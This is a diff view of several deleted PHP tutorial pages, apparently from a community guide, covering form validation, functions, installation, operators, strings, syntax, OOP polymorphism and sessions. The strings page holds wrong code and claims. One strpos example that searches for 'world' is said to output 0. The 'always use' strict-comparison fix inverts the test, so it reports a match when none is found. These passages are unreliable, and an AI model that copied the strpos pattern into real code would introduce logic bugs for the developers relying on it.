In the following code we have added some new variables: $nameErr, $emailErr, $genderErr, and $websiteErr. These error variables will hold error messages for the required fields. We have also added an if else statement for each $_POST variable. This checks if the $_POST variable is empty (with the PHP empty() function). If it is empty, an error message is stored in the different error variables, and if it is not empty, it sends the user input data through the test_input() function:
```php
<?php
// define variables and set to empty values
$nameErr = $emailErr = $genderErr = $websiteErr = "";
$name = $email = $gender = $comment = $website = "";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (empty($_POST["name"])) {
$nameErr = "Name is required";
} else {
$name = test_input($_POST["name"]);
}
if (empty($_POST["email"])) {
$emailErr = "Email is required";
} else {
$email = test_input($_POST["email"]);
}
if (empty($_POST["website"])) {
$website = "";
} else {
$website = test_input($_POST["website"]);
}
if (empty($_POST["comment"])) {
$comment = "";
} else {
$comment = test_input($_POST["comment"]);
}
if (empty($_POST["gender"])) {
$genderErr = "Gender is required";
} else {
$gender = test_input($_POST["gender"]);
}
}
?>
```
### PHP - Display The Error Messages
Then in the HTML form, we add a little script after each required field, which generates the correct error message if needed (that is if the user tries to submit the form without filling out the required fields):
#### Example
```php
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
Name: <input type="text" name="name">
<span class="error">* <?php echo $nameErr;?></span>
<br><br>
E-mail:
<input type="text" name="email">
<span class="error">* <?php echo $emailErr;?></span>
<br><br>
Website:
<input type="text" name="website">
<span class="error"><?php echo $websiteErr;?></span>
<br><br>
Comment: <textarea name="comment" rows="5" cols="40"></textarea>
<br><br>
Gender:
<input type="radio" name="gender" value="female">Female
<input type="radio" name="gender" value="male">Male
<span class="error">* <?php echo $genderErr;?></span>
<br><br>
<input type="submit" name="submit" value="Submit">
</form>
```
The next step is to validate the input data, that is "Does the Name field contain only letters and whitespace?", and "Does the E-mail field contain a valid e-mail address syntax?", and if filled out, "Does the Website field contain a valid URL?".

View File

@ -1,98 +0,0 @@
---
title: PHP 5 Forms - Validate E-mail and URL
---
This chapter shows how to validate names, e-mails, and URLs.
### PHP - Validate Name
The code below shows a simple way to check if the name field only contains letters and whitespace. If the value of the name field is not valid, then store an error message:
```php
$name = test_input($_POST["name"]);
if (!preg_match("/^[a-zA-Z ]*$/",$name)) {
$nameErr = "Only letters and white space allowed";
}
```
> **The preg_match() function searches a string for pattern, returning true if the pattern exists, and false otherwise.**
### PHP - Validate E-mail
The easiest and safest way to check whether an email address is well-formed is to use PHP's filter_var() function.
In the code below, if the e-mail address is not well-formed, then store an error message:
```php
$email = test_input($_POST["email"]);
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$emailErr = "Invalid email format";
}
```
### PHP - Validate URL
The code below shows a way to check if a URL address syntax is valid (this regular expression also allows dashes in the URL). If the URL address syntax is not valid, then store an error message:
```php
$website = test_input($_POST["website"]);
if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) {
$websiteErr = "Invalid URL";
}
```
### PHP - Validate Name, E-mail, and URL
Now, the script looks like this:
#### Example
```php
<?php
// define variables and set to empty values
$nameErr = $emailErr = $genderErr = $websiteErr = "";
$name = $email = $gender = $comment = $website = "";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (empty($_POST["name"])) {
$nameErr = "Name is required";
} else {
$name = test_input($_POST["name"]);
// check if name only contains letters and whitespace
if (!preg_match("/^[a-zA-Z ]*$/",$name)) {
$nameErr = "Only letters and white space allowed";
}
}
if (empty($_POST["email"])) {
$emailErr = "Email is required";
} else {
$email = test_input($_POST["email"]);
// check if e-mail address is well-formed
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$emailErr = "Invalid email format";
}
}
if (empty($_POST["website"])) {
$website = "";
} else {
$website = test_input($_POST["website"]);
// check if URL address syntax is valid (this regular expression also allows dashes in the URL)
if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) {
$websiteErr = "Invalid URL";
}
}
if (empty($_POST["comment"])) {
$comment = "";
} else {
$comment = test_input($_POST["comment"]);
}
if (empty($_POST["gender"])) {
$genderErr = "Gender is required";
} else {
$gender = test_input($_POST["gender"]);
}
}
?>
```

View File

@ -1,225 +0,0 @@
---
title: PHP functions
---
PHP functions are similar to other programming languages. A function is a piece of code which takes one more input in the form of parameter and does some processing and returns a value.
You already have seen many functions like fopen() and fread() etc. They are built-in functions but PHP gives you option to create your own functions as well.
There are two parts which should be clear to you
### Creating a PHP Function
Calling a PHP Function
In fact you hardly need to create your own PHP function because there are already more than 1000 of built-in library functions created for different area and you just need to call them according to your requirement.
Please refer to PHP Function Reference for a complete set of useful functions.
Creating PHP Function
Its very easy to create your own PHP function. Suppose you want to create a PHP function which will simply write a simple message on your browser when you will call it. Following example creates a function called writeMessage() and then calls it just after creating it.
Note that while creating a function its name should start with keyword function and all the PHP code should be put inside { and } braces as shown in the following example below
```
<html>
<head>
<title>Writing PHP Function</title>
</head>
<body>
<?php
/* Defining a PHP Function */
function writeMessage() {
echo "You are really a nice person, Have a nice time!";
}
/* Calling a PHP Function */
writeMessage();
?>
</body>
</html>
```
This will display following result
```
You are really a nice person, Have a nice time!
```
### PHP Functions with Parameters
PHP gives you option to pass your parameters inside a function. You can pass as many as parameters your like. These parameters work like variables inside your function. Following example takes two integer parameters and add them together and then print them.
```
<html>
<head>
<title>Writing PHP Function with Parameters</title>
</head>
<body>
<?php
function addFunction($num1, $num2) {
$sum = $num1 + $num2;
echo "Sum of the two numbers is : $sum";
}
addFunction(10, 20);
?>
</body>
</html>
```
This will display following result
```
Sum of the two numbers is : 30
```
### Passing Arguments by Reference
It is possible to pass arguments to functions by reference. This means that a reference to the variable is manipulated by the function rather than a copy of the variable's value.
Any changes made to an argument in these cases will change the value of the original variable. You can pass an argument by reference by adding an ampersand to the variable name in either the function call or the function definition.
Following example depicts both the cases.
```
<html>
<head>
<title>Passing Argument by Reference</title>
</head>
<body>
<?php
function addFive($num) {
$num += 5;
}
function addSix(&$num) {
$num += 6;
}
$orignum = 10;
addFive( $orignum );
echo "Original Value is $orignum<br />";
addSix( $orignum );
echo "Original Value is $orignum<br />";
?>
</body>
</html>
```
This will display following result
```
Original Value is 10
Original Value is 16
```
### PHP Functions returning value
A function can return a value using the return statement in conjunction with a value or object. return stops the execution of the function and sends the value back to the calling code.
You can return more than one value from a function using return array(1,2,3,4).
Following example takes two integer parameters and add them together and then returns their sum to the calling program. Note that return keyword is used to return a value from a function.
```
<html>
<head>
<title>Writing PHP Function which returns value</title>
</head>
<body>
<?php
function addFunction($num1, $num2) {
$sum = $num1 + $num2;
return $sum;
}
$return_value = addFunction(10, 20);
echo "Returned value from the function : $return_value";
?>
</body>
</html>
```
This will display following result
```
Returned value from the function : 30
```
### Setting Default Values for Function Parameters
You can set a parameter to have a default value if the function's caller doesn't pass it.
Following function prints NULL in case use does not pass any value to this function.
```
<html>
<head>
<title>Writing PHP Function which returns value</title>
</head>
<body>
<?php
function printMe($param = NULL) {
print $param;
}
printMe("This is test");
printMe();
?>
</body>
</html>
```
This will produce following result
```
This is test
```
### Dynamic Function Calls
It is possible to assign function names as strings to variables and then treat these variables exactly as you would the function name itself. Following example depicts this behaviour.
```
<html>
<head>
<title>Dynamic Function Calls</title>
</head>
<body>
<?php
function sayHello() {
echo "Hello<br />";
}
$function_holder = "sayHello";
$function_holder();
?>
</body>
</html>
```
This will display following result
```
Hello
```

View File

@ -1,51 +0,0 @@
---
title: PHP Install
---
## What Do I Need for Installation?
Any computer! PHP is very versatile and can run in many different environments.
### Manual Install:
#### Windows
1. Download the zip from [windows.php.net/download](https://windows.php.net/download#php-7.2) and unzip it (ex `C:\PHP`)
2. Add php to the windows PATH (for example append `;C:\PHP`)
3. Copy and rename either `php.ini - development` or `php.ini - production` to `php.ini`
If you are using IIS for your webserver, this is a good resource:
- [Microsoft Docs - Windows installation and integration with IIS](https://docs.microsoft.com/en-us/iis/application-frameworks/scenario-build-a-php-website-on-iis/configuring-step-1-install-iis-and-php#12)
#### MacOS
_Type the commands in a terminal_
1. Install homebrew `/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"`
2. Install php `brew install php`
#### Linux
This varies a bit with each distribution
- _debian/ubuntu_ `sudo apt-get install php -y`
- _fedora/rhl/centos_ `dnf install php php-common`
There are many good resources for this, like:
- [TecMint - install the LAMP stack on Fedora](https://www.tecmint.com/install-lamp-apache-mariadb-and-php-on-fedora-23/)
- [Digital Ocean - How to install the LEMP stack on Ubuntu](https://www.digitalocean.com/community/tutorials/how-to-install-linux-nginx-mysql-php-lemp-stack-ubuntu-18-04)
### Install Bundles
There are also several popular install bundles for PHP technology stacks which are multi-platform.
- [XAMPP Installer - Apache Server, MariaDB, PHP, and Perl](https://www.apachefriends.org/index.html) _window, linux, macOS_
- [MAMP Webserver](https://www.mamp.info) _windows, macOS_
- [WAMP Server](http://www.wampserver.com/en/) _windows_
### Find a webhost with free PHP services.
It is [common](https://www.google.com/search?q=free+php+web+hosting) for free webhosting services to offer support for PHP.
## Once PHP is installed:
If you installed PHP with a webserver, often a default route is set for `localhost/info.php` or `127.0.0.1/info.php`. If PHP has been integrated properly, it should display a description of the current PHP installation. If your server will be public, you should delete `info.php` as it contains private details about your installation, system.
If you did not install PHP with a webserver, several tools integrate well with the library for the ability to locally run, debug, host your PHP scripts and applications. [VS Code's](https://code.visualstudio.com/) extension [PHP Server](https://marketplace.visualstudio.com/items?itemName=brapifra.phpserver) allows your to develop and host locally.
## Resources
- The official PHP website (PHP.net) has installation instructions for PHP: http://php.net/manual/en/install.php

View File

@ -1,13 +0,0 @@
---
title: PHP Keywords
---
## PHP Keywords
This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/php-keywords/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->

View File

@ -1,84 +0,0 @@
---
title: PHP Operators
---
## PHP Operators
<p>Operators are used to perform operations on variables and values.</p>
<p>PHP divides the operators in the following groups:</p>
<ul>
<li>Arithmetic operators</li>
<li>Assignment operators</li>
<li>Comparison operators</li>
<li>Increment/Decrement operators</li>
<li>Logical operators</li>
<li>String operators</li>
<li>Array operators</li>
</ul>
<h3>PHP Arithmetic Operators</h3>
<p>The PHP arithmetic operators are used with numeric values to perform common arithmetical operations, such as addition, subtraction, multiplication etc.</p>
<table>
<tr>
<th>Operator</th>
<th>Name</th>
<th>Example</th>
<th>Result</th>
</tr>
<tr>
<td>+</td>
<td>Addition</td>
<td>$a + $b</td>
<td>Sum of $a and $b</td>
</tr>
<tr>
<td>-</td>
<td>Subtraction</td>
<td>$a - $b</td>
<td>Difference of $a and $b</td>
</tr>
<tr>
<td>*</td>
<td>Multiplication</td>
<td>$a * $b</td>
<td>Product of $a and $b</td>
</tr>
<tr>
<td>/</td>
<td>Division</td>
<td>$a / $b</td>
<td>Quotient of $a and $b</td>
</tr>
<tr>
<td>%</td>
<td>Modulus</td>
<td>$a % $b</td>
<td>Remainder of $a divided by $b</td>
</tr>
<tr>
<td>**</td>
<td>Exponentiation</td>
<td>$a ** $b</td>
<td>Result of raising $a to the $b'th power </td>
</tr>
</table>
### PHP Assignment Operators
The assignment operator is `=`. The operand on the left side gets assigned the value of the expression on the right.
#### Example
```php
<?php
$a = 7; // $a set to 7.
?>
```
<!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
#### More Information:
- <a href='http://php.net/manual/en/language.operators.arithmetic.php' target='_blank' rel='nofollow'>Arithmetic Operators</a></li>
- <a href='http://php.net/manual/en/language.operators.assignment.php' target='_blank' rel='nofollow'>Assignment Operators</a></li>

View File

@ -1,197 +0,0 @@
---
title: PHP strings
---
They are sequences of characters, like "PHP supports string operations".
NOTE Built-in string functions is given in function reference PHP String Functions
Following are valid examples of string
$string_1 = "This is a string in double quotes";
$string_2 = "This is a somewhat longer, singly quoted string";
$string_39 = "This string has thirty-nine characters";
$string_0 = ""; // a string with zero characters
Singly quoted strings are treated almost literally, whereas doubly quoted strings replace variables with their values as well as specially interpreting certain character sequences.
```
<?php
$variable = "name";
$literally = 'My $variable will not print!\\n';
print($literally);
print "<br />";
$literally = "My $variable will print!\\n";
print($literally);
```
This will produce the following result
```
My $variable will not print!\n
My name will print
```
There are no artificial limits on string length - within the bounds of available memory, you ought to be able to make arbitrarily long strings.
Strings that are delimited by double quotes (as in "this") are preprocessed in both the following two ways by PHP
Certain character sequences beginning with backslash (\) are replaced with special characters
Variable names (starting with $) are replaced with string representations of their values.
The escape-sequence replacements are
\n is replaced by the newline character
\r is replaced by the carriage-return character
\t is replaced by the tab character
\$ is replaced by the dollar sign itself ($)
\" is replaced by a single double-quote (")
\\ is replaced by a single backslash (\)
### String Concatenation Operator
To concatenate two string variables together, use the dot (.) operator
```
<?php
$string1="Hello World";
$string2="1234";
echo $string1 . " " . $string2;
```
This will produce the following result
```
Hello World 1234
```
If we look at the code above you see that we used the concatenation operator two times. This is because we had to insert a third string.
Between the two string variables we added a string with a single character, an empty space, to separate the two variables.
### Using the strlen() function
The strlen() function is used to find the length of a string.
Let's find the length of our string "Hello world!":
```
<?php
echo strlen("Hello world!");
```
This will produce the following result
```
12
```
The length of a string is often used in loops or other functions, when it is important to know when the string ends. (i.e. in a loop, we would want to stop the loop after the last character in the string)
### Using the strpos() function
The strpos() function is used to search for a string or character within a string.
If a match is found in the string, this function will return the position of the first match. If no match is found, it will return FALSE. For this reason, it is important to always perform a strict comparison (===) to determine if a match is present.
Let's see if we can find the string "world" in our string
```
<?php
echo strpos("Hello world!","world");
```
This will produce the following result
```
6
```
As you see the position of the string "world" in our string is position 6. The reason that it is 6, and not 7, is that the first position in the string is 0, and not 1.
Let's see if we can find the string "Hello" in our string -
```
<?php
echo strpos("Hello world!", "world");
```
This will produce the following result -
```
0
```
At first, this seems harmless, but let's take a look at another example -
```
<?php
if (strpos("Hello world!", "Hello")) {
echo 'The substring was found!';
} else {
echo 'The substring was not found...';
}
```
Since this equates to '0', or falsy, this will produce the following result -
```
The substring was not found...
```
Instead, the following should always be used when using strpos() -
```
<?php
if (strpos("Hello world!", "Hello") === false) {
echo 'The substring was found!';
} else {
echo 'The substring was not found...';
}
```
This will produce the following result -
```
The substring was found!
```
### Using the explode() function
The explode() function is used to split a string into an array of substrings based on a string delimiter.
The function accepts 3 parameters. A string delimiter, the string to be 'exploded', and an optional integer limit.
If the limit is positive, the function will return a maximum number of substrings equal to the limit. The last substring being the remainder of the string.
If the limit is 0, it is treated like 1.
If the limit is negative, all substrings except the last negative limit are returned.
Example:
```
<?php
$s = 'a|b|c|d';
print_r(explode('|', $s));
print_r(explode('|', $s, 3));
print_r(explode('|', $s, -1));
?>
```
Result:
```
Array
(
[0] => a
[1] => b
[2] => c
[3] => d
)
Array
(
[0] => a
[1] => b
[2] => c|d
)
Array
(
[0] => a
[1] => b
[2] => c
)
```

View File

@ -1,66 +0,0 @@
---
title: PHP Syntax and Comments
---
## PHP Syntax
The structure of a PHP document may look something like:
```php
<?php
// Your PHP code goes here.
```
**NOTE:** When creating a document with only PHP, the closing tags (see below) should be omitted.
When placing PHP in an HTML document, a closing tag is needed, like so:
```php
<?php
// Your PHP code goes here.
?>
```
**NOTE:** Shorthand syntax is also available, but should be avoided to reduce unwanted behavior.
A PHP file may have HTML tags and / or JavaScript.
The default file extension for PHP files is `.php`.
## Indentation
While this is mostly personal preference, it is most common to see the lines within the <?php / ?> tags at the same level, like so:
```php
<?php
// Same level of indendation.
// Not indented like so.
```
## How to make comments in PHP?
A comment in PHP code is a line that is not executed as part of the program. Its only purpose is to be read by someone who is looking at the code.
In PHP, comments can be make by two ways — either single-lined or multi-lined.
This can be seen in the example below:
```php
<?
// This is a single-lined comment.
/**
* This is a multi-lined comment block
* that spans over multiple
* lines.
*/
```
## Additional Information
For more information, please see [PHP: Comments](http://php.net/manual/en/language.basic-syntax.comments.php).

View File

@ -1,184 +0,0 @@
---
title: PHP Syntax Overview
---
This chapter will give you an idea of very basic syntax of PHP and very important to make your PHP foundation strong.
### Escaping to PHP
The PHP parsing engine needs a way to differentiate PHP code from other elements in the page. The mechanism for doing so is known as 'escaping to PHP'. There are four ways to do this
#### Canonical PHP tags
The most universally effective PHP tag style is
```
<?php...?>
```
If you use this style, you can be positive that your tags will always be correctly interpreted.
#### Short-open (SGML-style) tags
Short or short-open tags look like this
```
<?...?>
```
Short tags are, as one might expect, the shortest option You must do one of two things to enable PHP to recognize the tags
Choose the --enable-short-tags configuration option when you're building PHP.
Set the short_open_tag setting in your php.ini file to on. This option must be disabled to parse XML with PHP because the same syntax is used for XML tags.
#### ASP-style tags
ASP-style tags mimic the tags used by Active Server Pages to delineate code blocks. ASP-style tags look like this
```
<%...%>
```
To use ASP-style tags, you will need to set the configuration option in your php.ini file.
#### HTML script tags
HTML script tags look like this
```
<script language="PHP">...</script>
```
### Commenting PHP Code
A comment is the portion of a program that exists only for the human reader and stripped out before displaying the programs result. There are two commenting formats in PHP
#### Single-line comments
They are generally used for short explanations or notes relevant to the local code. Here are the examples of single line comments.
```
<?
# This is a comment, and
# This is the second line of the comment
// This is a comment too. Each style comments only
print "An example with single line comments";
?>
```
#### Multi-lines printing
Here are the examples to print multiple lines in a single print statement
```
<?
# First Example
print <<<END
This uses the "here document" syntax to output
multiple lines with $variable interpolation. Note
that the here document terminator must appear on a
line with just a semicolon no extra whitespace!
END;
# Second Example
print "This spans
multiple lines. The newlines will be
output as well";
?>
```
#### Multi-lines comments
They are generally used to provide pseudocode algorithms and more detailed explanations when necessary. The multiline style of commenting is the same as in C. Here are the example of multi lines comments.
```
<?
/* This is a comment with multiline
Author : Mohammad Mohtashim
Purpose: Multiline Comments Demo
Subject: PHP
*/
print "An example with multi line comments";
?>
```
### PHP is whitespace insensitive
Whitespace is the stuff you type that is typically invisible on the screen, including spaces, tabs, and carriage returns (end-of-line characters).
PHP whitespace insensitive means that it almost never matters how many whitespace characters you have in a row.one whitespace character is the same as many such characters.
For example, each of the following PHP statements that assigns the sum of 2 + 2 to the variable $four is equivalent
```
$four = 2 + 2; // single spaces
$four <tab>=<tab2<tab>+<tab>2 ; // spaces and tabs
$four =
2+
2; // multiple lines
```
### PHP is case sensitive
Yeah it is true that PHP is a case sensitive language. Try out following example
```
<html>
<body>
<?php
$capital = 67;
print("Variable capital is $capital<br>");
print("Variable CaPiTaL is $CaPiTaL<br>");
?>
</body>
</html>
```
This will produce the following result
```
Variable capital is 67
Variable CaPiTaL is
```
### Statements are expressions terminated by semicolons
A statement in PHP is any expression that is followed by a semicolon (;).Any sequence of valid PHP statements that is enclosed by the PHP tags is a valid PHP program. Here is a typical statement in PHP, which in this case assigns a string of characters to a variable called $greeting
```
$greeting = "Welcome to PHP!";
```
### Expressions are combinations of tokens
The smallest building blocks of PHP are the indivisible tokens, such as numbers (3.14159), strings (.two.), variables ($two), constants (TRUE), and the special words that make up the syntax of PHP itself like if, else, while, for and so forth
### Braces make blocks
Although statements cannot be combined like expressions, you can always put a sequence of statements anywhere a statement can go by enclosing them in a set of curly braces.
Here both statements are equivalent
```
if (3 == 2 + 1)
print("Good - I haven't totally lost my mind.<br>");
if (3 == 2 + 1) {
print("Good - I haven't totally");
print("lost my mind.<br>");
}
```
### Running PHP Script from Command Prompt
Yes you can run your PHP script on your command prompt. Assuming you have following content in test.php file
```
<?php
echo "Hello PHP!!!!!";
?>
```
Now run this script as command prompt as follows
```
$ php test.php
```
It will produce the following result
```
Hello PHP!!!!!
```
Hope now you have basic knowledge of PHP Syntax.

View File

@ -1,76 +0,0 @@
---
title: PHP Syntax
---
# Basic PHP Syntax
### Start
All PHP files are saved by the extension ` .php `. PHP scripts can be added anywhere in the document. A PHP script starts with ` <?php ` and ends with ` ?> `.
` <?php //PHP code goes here ?> `
### Print
To print any statement in PHP we use `echo` command.
#### Code sample
```php
<!DOCTYPE html>
<html>
<body>
<h1>My first PHP page</h1>
<?php
echo "Hello World!";
?>
</body>
</html>
```
##### NOTE: PHP statements ends with semicolon `;`
### Declaring Variables
We declare variables in PHP by adding dollar `$` sign before them.
```php
<?php
$x = 5;
echo $x;
?>
```
### Comments in PHP
To write a single line comment in PHP we put hashtag `#` or by putting `//` before the comment.
```php
<?php
# This is a single line comment
// This is also a single line comment
?>
```
To write a multiple line comment we start the comment with `/*` and end with `*/`.
```php
<?php
/* This is a
Multiple line comment. */
?>
```
We can also comment out some parts of the code line.
#### Code Sample
```php
<!DOCTYPE html>
<html>
<body>
<?php
// You can also use comments to leave out parts of a code line
$x = 5 /* + 15 */ + 5;
echo $x;
?>
</body>
</html>
```
You can see more about this on [PHP Manual](http://php.net/manual/en/)

View File

@ -1,20 +0,0 @@
---
title: PHP tags
---
When PHP parses a file, it looks for opening and closing tags, which are `<?php` and `?>` which tell PHP to start and stop interpreting the code between them. Parsing in this manner allows PHP to be embedded in all sorts of different documents, as everything outside of a pair of opening and closing tags is ignored by the PHP parser.
PHP also allows for short open tag `<?` (which is discouraged since it is only available if enabled using the `short_open_tag php.ini` configuration file directive, or if PHP was configured with the `--enable-short-tags` option).
If a file is pure PHP code, it is preferable to omit the PHP closing tag at the end of the file. This prevents accidental whitespace or new lines being added after the PHP closing tag, which may cause unwanted effects because PHP will start output buffering when there is no intention from the programmer to send any output at that point in the script.
```php
<?php
echo "Hello world";
// ... more code
echo "Last statement";
// the script ends here with no PHP closing tag
```

View File

@ -1,376 +0,0 @@
---
title: Polymorphism with Abstract and Interface
---
## Polymorphism with Abstract and Interface
_Share and enforce code with Polymorphism using Abstract class and interface_
We will dive deeper into Object Oriented Programming and try to think in terms of Design Patterns to share and enforce our code using Polymorphism.
### Abstract Class
Lets say we have a class called Man with some properties (`name`, `age`, `height`, `fav_drinks` and `fav_sports`) and methods (`giveFirmHandshakes`, `beStubborn` and `notPutToiletPaper`).
```php
<?php
class Man
{
public $name;
public $age;
public $height;
public $fav_sports;
public $fav_drinks;
public function __construct($name, $age, $height)
{
$this->name = $name;
$this->age = $age;
$this->height = $height;
}
public function giveFirmHandshakes()
{
return "I give firm handshakes.";
}
public function beStubborn()
{
return "I am stubborn.";
}
public function notPutToiletPaper()
{
return "It's not humanly possible to remember to put toilet paper rolls when they are finished";
}
}
```
We need to specify name, age and height to instantiate this class as required by the constructor.
```php
<?php
$jack = new Man('Jack', '26', '5 Feet 6 Inches');
echo sprintf('%s - %s - %s', $jack->name, $jack->age, $jack->height);
// => Jack - 26 - 5 Feet 6 Inches
```
Now, lets say we want to add a new method to this class called isActive.
This method checks the property active and returns appropriate message depending on the value of active with default value of false. We can set it to true for those men that are active.
```php
<?php
class Man
{
public $name;
public $age;
public $height;
public $fav_sports;
public $fav_drinks;
public $active = false;
.....
.....
public function isActive()
{
if ($this->active == true) {
return "I am an active man.";
} else {
return "I am an idle man.";
}
}
}
$jack = new Man('Jack', '26', '5 Feet 6 Inches');
$jack->active = true;
echo $jack->isActive();
// => I am an active man.
$jake = new Man('Jake', '30', '6 Feet');
echo "\n" . $jake->isActive();
// => I am an idle man.
```
What if a man is not JUST active or idle?
What if there is a scale of 1 to 4 that measures how active a man is
(1 idle, 2 lightly active, 3- moderately active, 4- very active)?
We can have an if..elseif..else statements like this:
```php
<?php
public function isActive()
{
if ($this->active == 1) {
return "I am an idle man.";
} elseif ($this->active == 2) {
return "I am a lightly active man.";
} elseif ($this->active == 3) {
return "I am a moderately active man.";
} else {
return "I am a very active man.";
}
}
```
Now, lets take this a step further.
What if Mans active property is not just an integer (1, 2, 3, 4, etc)?
What if the value of active is “athletic” or “lazy”?
Dont we have to add more elseif statements looking for a match with those strings?
Abstract classes can be used for such scenario.
With abstract classes, you basically define the class as abstract and the methods you want to enforce as abstract without actually putting any code inside those methods.
Then you create a child class extending the parent abstract class and implement the abstract methods in that child class.
This way, you will be enforcing all the child classes to define their own version of abstract methods. Lets see how we can set our `isActive()` method as abstract.
#1: Define the class as abstract.
```php
<?php
abstract class Man
{
.....
.....
}
```
#2: Create an abstract method for the method you want to enforce inside the abstract class.
```php
<?php
abstract class Man
{
.....
.....
abstract public function isActive();
}
```
#3: Create a child class extending the abstract class.
```php
<?php
class AthleticMan extends Man
{
.....
.....
}
```
#4: Implement the abstract method inside the child class.
```php
<?php
class AthleticMan extends Man
{
public function isActive()
{
return "I am a very active athlete.";
}
}
```
#5: Instantiate the child class (NOT the abstract class).
```php
<?php
$jack = new AthleticMan('Jack', '26', '5 feet 6 inches');
echo $jack->isActive();
// => I am a very active athlete.
```
Complete abstract class definition and implementation code:
```php
<?php
abstract class Man
{
public $name;
public $age;
public $height;
public $fav_sports;
public $fav_drinks;
public function __construct($name, $age, $height)
{
$this->name = $name;
$this->age = $age;
$this->height = $height;
}
public function giveFirmHandshakes()
{
return "I give firm handshakes.";
}
public function beStubborn()
{
return "I am stubborn.";
}
public function notPutToiletPaper()
{
return "It's not humanly possible to remember to put toilet paper rolls when they are finished";
}
abstract public function isActive();
}
class AthleticMan extends Man
{
public function isActive()
{
return "I am a very active athlete.";
}
}
$jack = new AthleticMan('Jack', '26', '5 feet 6 inches');
echo $jack->isActive();
// => I am a very active athlete.
```
In this code, you will notice that `isActive()` abstract method is defined inside `Man` abstract class and it is implemented inside child class `AthleticMan`.
Now `Man` class cannot be instantiated directly to create an object.
```php
<?php
$ted = new Man('Ted', '30', '6 feet');
echo $ted->isActive();
// => Fatal error: Uncaught Error: Cannot instantiate abstract class Man
```
Also, every child class of the abstract class (`Man` class) needs to implement all the abstract methods. Lack of such implementation will result in a fatal error.
```php
<?php
class LazyMan extends Man
{
}
$robert = new LazyMan('Robert', '40', '5 feet 10 inches');
echo $robert->isActive();
// => Fatal error: Class LazyMan contains 1 abstract method
// => and must therefore be declared abstract or implement
// => the remaining methods (Man::isActive)
```
By using abstract classes, you can enforce certain methods to be implemented individually by the child classes.
### Interface
There is another Object Oriented Programming concept that is closely related to Abstract Classes called Interface.
The only difference between Abstract Classes and Interfaces is that in Abstract Classes, you can have a mix of defined methods (`giveFirmHandshakes()`, `isStubborn()`, etc.) and abstract methods (`isActive()`) inside the parent class whereas in Interfaces, you can only define (not implement) methods inside the parent class.
Lets see how we can convert Man abstract class above to an interface.
#1: Define the interface with all the methods (use interface instead of class).
```php
<?php
interface Man
{
public function __construct($name, $age, $height);
public function giveFirmHandshakes();
public function beStubborn();
public function notPutToiletPaper();
public function isActive();
}
```
#2: Create a class that implements the interface (use implements instead of extends). This class must implement ALL the methods defined inside the interface including the constructor method.
```php
<?php
class AthleticMan implements Man
{
public $name;
public $age;
public $height;
public function __construct($name, $age, $height)
{
$this->name = $name;
$this->age = $age;
$this->height = $height;
}
public function giveFirmHandshakes()
{
return "I give firm handshakes.";
}
public function beStubborn()
{
return "I am stubborn.";
}
public function notPutToiletPaper()
{
return "It's not humanly possible to remember to put toilet paper rolls when they are finished";
}
public function isActive()
{
return "I am a very active athlete.";
}
}
```
#3: Instantiate the implementing class (AthleticMan)
```php
<?php
$jack = new AthleticMan('Jack', '26', '5 feet 6 inches');
echo $jack->isActive();
// => I am a very active athlete.
```
With interfaces, you need to keep in mind that:
- The methods cannot be implemented inside the interface.
- Variables (properties) cannot be defined inside the interface.
- All the methods defined inside the interface need to be implemented in the child (implementing) class.
- All the necessary variables need to be defined inside the child class.
- Man interface enforces its implementing classes to implement all the methods in the interface.
So, what is the use of interfaces?
Cant we just create a new class AthleticMan and create all the methods instead of implementing the interface?
This is where *Design Patterns* come into play.
Interfaces are used when there is a base class (`Man`) that wants to enforce you to do things (construct an object, giveFirmHandshakes, beStubborn, notPutToiletPaper and check if you are active) but doesnt want to tell you exactly how to do it.
You can just go ahead and create implementing classes with implementations as you deem fit.
As long as all the methods are implemented, `Man` interface doesnt care how.
We have gone over how and when to use abstract classes and interfaces in PHP. Using these OOP concepts to have classes with different functionality sharing the same base “blueprint” (abstract class or interface) is called Polymorphism.

View File

@ -1,147 +0,0 @@
---
title: PHP Sessions
---
# PHP Sessions
A session is a way to store information (in variables) to be used across multiple pages.
Unlike a cookie, the information is not stored on the user's computer.
## What is a PHP Session?
When you work with an application, you open it, do some changes, and then you close it. This is much like a Session.
The computer knows who you are. It knows when you start the application and when you end.
But on the internet there is one problem: the web server does not know who you are or what you do, because the HTTP address _doesn't maintain state_.
Session variables solve this problem by storing user information to be used across multiple pages (e.g. username, favorite color, etc).
By default, session variables last until the user closes the browser.
**Session variables hold information about one single user, and are available to all pages in one application.**
**Note:** If you need a permanent storage, you may want to store the data in a database.
## Start a PHP Session
A session is started with the _session_start()_ function.
Session variables are set with the PHP global variable: $_SESSION.
**Example:**
```
<?php
// Start the session
session_start();
?>
<!DOCTYPE html>
<html>
<body>
<?php
// Set session variables
$_SESSION["favcolor"] = "blue";
$_SESSION["favanimal"] = "dog";
echo "Session variables are set.";
?>
</body>
</html>
```
**Note:** The session_start() function must be the **very first thing** in your document. **Before** any HTML tags.
Output:
Session variables are set.
## Get PHP Session Variable Values
Note that session variables are not passed individually to each new page, instead they are retrieved from the session we open at the beginning of each page (session_start()).
Also note that all session variable values are stored in the global $_SESSION variable:
**Example:**
```
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<body>
<?php
// Echo session variables that were set on previous page
echo "Favorite color is " . $_SESSION["favcolor"] . ".<br>";
